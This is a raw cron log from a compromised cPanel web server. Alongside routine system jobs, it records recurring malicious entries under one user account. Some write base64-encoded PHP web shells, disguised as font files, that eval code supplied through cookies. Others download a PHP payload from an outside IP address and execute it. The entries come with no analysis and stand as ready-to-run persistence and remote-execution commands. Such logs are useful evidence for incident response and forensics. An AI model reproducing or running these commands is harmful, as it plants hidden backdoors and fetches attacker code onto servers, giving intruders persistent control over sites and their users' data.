Sep 12 03:29:01 ip-184-168-122-23 CROND[17615]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 03:30:01 ip-184-168-122-23 CROND[17696]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 03:30:01 ip-184-168-122-23 CROND[17700]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 03:30:01 ip-184-168-122-23 CROND[17702]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:30:01 ip-184-168-122-23 CROND[17703]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 03:30:01 ip-184-168-122-23 CROND[17708]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 03:30:01 ip-184-168-122-23 CROND[17709]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 03:30:01 ip-184-168-122-23 CROND[17707]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 03:30:01 ip-184-168-122-23 CROND[17710]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 03:31:01 ip-184-168-122-23 CROND[17837]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 03:31:01 ip-184-168-122-23 CROND[17840]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 03:31:01 ip-184-168-122-23 CROND[17839]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:31:01 ip-184-168-122-23 CROND[17841]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 03:31:01 ip-184-168-122-23 CROND[17842]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 03:32:01 ip-184-168-122-23 CROND[17926]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 03:32:01 ip-184-168-122-23 CROND[17925]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 03:32:01 ip-184-168-122-23 CROND[17927]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:32:01 ip-184-168-122-23 CROND[17924]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 03:32:01 ip-184-168-122-23 CROND[17923]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 03:33:01 ip-184-168-122-23 CROND[18095]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:33:01 ip-184-168-122-23 CROND[18096]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 03:33:01 ip-184-168-122-23 CROND[18100]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 03:33:01 ip-184-168-122-23 CROND[18099]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 03:34:02 ip-184-168-122-23 CROND[18175]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:34:02 ip-184-168-122-23 CROND[18177]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 03:34:02 ip-184-168-122-23 CROND[18178]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 03:34:02 ip-184-168-122-23 CROND[18179]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 03:34:02 ip-184-168-122-23 CROND[18181]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 03:35:01 ip-184-168-122-23 CROND[18272]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 03:35:01 ip-184-168-122-23 CROND[18275]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 03:35:01 ip-184-168-122-23 CROND[18274]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 03:35:01 ip-184-168-122-23 CROND[18276]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 03:35:01 ip-184-168-122-23 CROND[18277]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:35:01 ip-184-168-122-23 CROND[18278]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 03:35:01 ip-184-168-122-23 CROND[18279]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 12 03:35:01 ip-184-168-122-23 CROND[18281]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 03:36:01 ip-184-168-122-23 CROND[18369]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 03:36:01 ip-184-168-122-23 CROND[18371]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 03:36:01 ip-184-168-122-23 CROND[18372]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 03:36:01 ip-184-168-122-23 CROND[18374]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 03:36:01 ip-184-168-122-23 CROND[18373]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:37:01 ip-184-168-122-23 CROND[18466]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 03:37:01 ip-184-168-122-23 CROND[18469]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 03:37:01 ip-184-168-122-23 CROND[18467]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:37:01 ip-184-168-122-23 CROND[18468]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 03:38:01 ip-184-168-122-23 CROND[18637]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:38:01 ip-184-168-122-23 CROND[18639]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 03:38:01 ip-184-168-122-23 CROND[18640]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 03:38:01 ip-184-168-122-23 CROND[18641]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 03:38:01 ip-184-168-122-23 CROND[18642]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 03:39:01 ip-184-168-122-23 CROND[18753]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 03:39:01 ip-184-168-122-23 CROND[18755]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 03:39:01 ip-184-168-122-23 CROND[18756]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:39:01 ip-184-168-122-23 CROND[18754]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 03:39:01 ip-184-168-122-23 CROND[18757]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 12 03:40:01 ip-184-168-122-23 CROND[18876]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 03:40:01 ip-184-168-122-23 CROND[18877]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 03:40:01 ip-184-168-122-23 CROND[18884]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 03:40:01 ip-184-168-122-23 CROND[18883]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 03:40:01 ip-184-168-122-23 CROND[18882]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 03:40:01 ip-184-168-122-23 CROND[18881]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:40:01 ip-184-168-122-23 CROND[18885]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 03:40:01 ip-184-168-122-23 CROND[18887]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 03:41:01 ip-184-168-122-23 CROND[18978]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 03:41:01 ip-184-168-122-23 CROND[18979]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:41:01 ip-184-168-122-23 CROND[18982]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
